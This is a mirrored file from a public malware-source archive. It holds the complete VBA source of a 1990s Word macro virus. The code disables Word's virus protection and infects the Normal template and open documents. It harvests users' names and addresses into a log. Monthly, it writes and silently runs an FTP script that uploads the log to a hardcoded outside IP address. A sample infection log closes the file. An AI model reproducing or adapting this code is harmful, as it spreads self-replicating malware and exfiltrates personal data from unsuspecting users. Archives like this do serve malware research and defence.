mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
126 lines
3.5 KiB
Plaintext
126 lines
3.5 KiB
Plaintext
Private Sub Document_Close()
|
|
|
|
On Error Resume Next
|
|
|
|
Const Marker = "<- this is a marker!"
|
|
|
|
'Declare Variables
|
|
Dim SaveDocument, SaveNormalTemplate, DocumentInfected, NormalTemplateInfected As Boolean
|
|
Dim ad, nt As Object
|
|
Dim OurCode, UserAddress, LogData, LogFile As String
|
|
|
|
'Initialize Variables
|
|
Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
|
|
Set nt = NormalTemplate.VBProject.VBComponents.Item(1)
|
|
|
|
DocumentInfected = ad.CodeModule.Find(Marker, 1, 1, 10000, 10000)
|
|
NormalTemplateInfected = nt.CodeModule.Find(Marker, 1, 1, 10000, 10000)
|
|
|
|
|
|
'Switch the VirusProtection OFF
|
|
Options.VirusProtection = False
|
|
|
|
|
|
If (Day(Now()) = 1) And (System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = False) Then
|
|
|
|
If DocumentInfected = True Then
|
|
LogData = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
|
|
ElseIf NormalTemplateInfected = True Then
|
|
LogData = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
|
|
End If
|
|
|
|
LogData = Mid(LogData, InStr(1, LogData, "' Log" & "file -->"), Len(LogData) - InStr(1, LogData, "' Log" & "file -->"))
|
|
|
|
For I = 1 To 4
|
|
LogFile = LogFile + Mid(Str(Int(8 * Rnd)), 2, 1)
|
|
Next I
|
|
LogFile = "C:\hsf" & LogFile & ".sys"
|
|
|
|
Open LogFile For Output As #1
|
|
Print #1, LogData
|
|
Close #1
|
|
|
|
Open "c:\netldx.vxd" For Output As #1
|
|
Print #1, "o 209.201.88.110"
|
|
Print #1, "user anonymous"
|
|
Print #1, "pass itsme@"
|
|
Print #1, "cd incoming"
|
|
Print #1, "ascii"
|
|
Print #1, "put " & LogFile
|
|
Print #1, "quit"
|
|
Close #1
|
|
|
|
Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide
|
|
|
|
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = True
|
|
|
|
End If
|
|
|
|
|
|
'Make sure that some conditions are true before we continue infecting anything
|
|
If (DocumentInfected = True Xor NormalTemplateInfected = True) And _
|
|
(ActiveDocument.SaveFormat = wdFormatDocument Or _
|
|
ActiveDocument.SaveFormat = wdFormatTemplate) Then
|
|
|
|
|
|
'Infect the NormalTemplate
|
|
If DocumentInfected = True Then
|
|
|
|
SaveNormalTemplate = NormalTemplate.Saved
|
|
|
|
OurCode = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
|
|
|
|
|
|
'Write a log file of this NormalTemplate infection
|
|
For I = 1 To Len(Application.UserAddress)
|
|
If Mid(Application.UserAddress, I, 1) <> Chr(13) Then
|
|
If Mid(Application.UserAddress, I, 1) <> Chr(10) Then
|
|
UserAddress = UserAddress & Mid(Application.UserAddress, I, 1)
|
|
End If
|
|
Else
|
|
UserAddress = UserAddress & Chr(13) & "' "
|
|
End If
|
|
Next I
|
|
|
|
OurCode = OurCode & Chr(13) & _
|
|
"' " & Format(Time, "hh:mm:ss AMPM - ") & _
|
|
Format(Date, "dddd, d mmm yyyy") & Chr(13) & _
|
|
"' " & Application.UserName & Chr(13) & _
|
|
"' " & UserAddress & Chr(13)
|
|
|
|
|
|
nt.CodeModule.DeleteLines 1, nt.CodeModule.CountOfLines
|
|
nt.CodeModule.AddFromString OurCode
|
|
|
|
If SaveNormalTemplate = True Then NormalTemplate.Save
|
|
|
|
End If
|
|
|
|
|
|
'Infect the ActiveDocument
|
|
If NormalTemplateInfected = True And _
|
|
(Mid(ActiveDocument.FullName, 2, 1) = ":" Or _
|
|
ActiveDocument.Saved = False) Then
|
|
|
|
SaveDocument = ActiveDocument.Saved
|
|
|
|
OurCode = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
|
|
|
|
ad.CodeModule.DeleteLines 1, ad.CodeModule.CountOfLines
|
|
ad.CodeModule.AddFromString OurCode
|
|
|
|
If SaveDocument = True Then ActiveDocument.Save
|
|
|
|
End If
|
|
|
|
|
|
End If
|
|
|
|
End Sub
|
|
|
|
' Logfile -->
|
|
|
|
' 09:08:36 - Saturday, 28 Nov 1998
|
|
' SPo0Ky
|
|
' Blue Planet
|
|
' |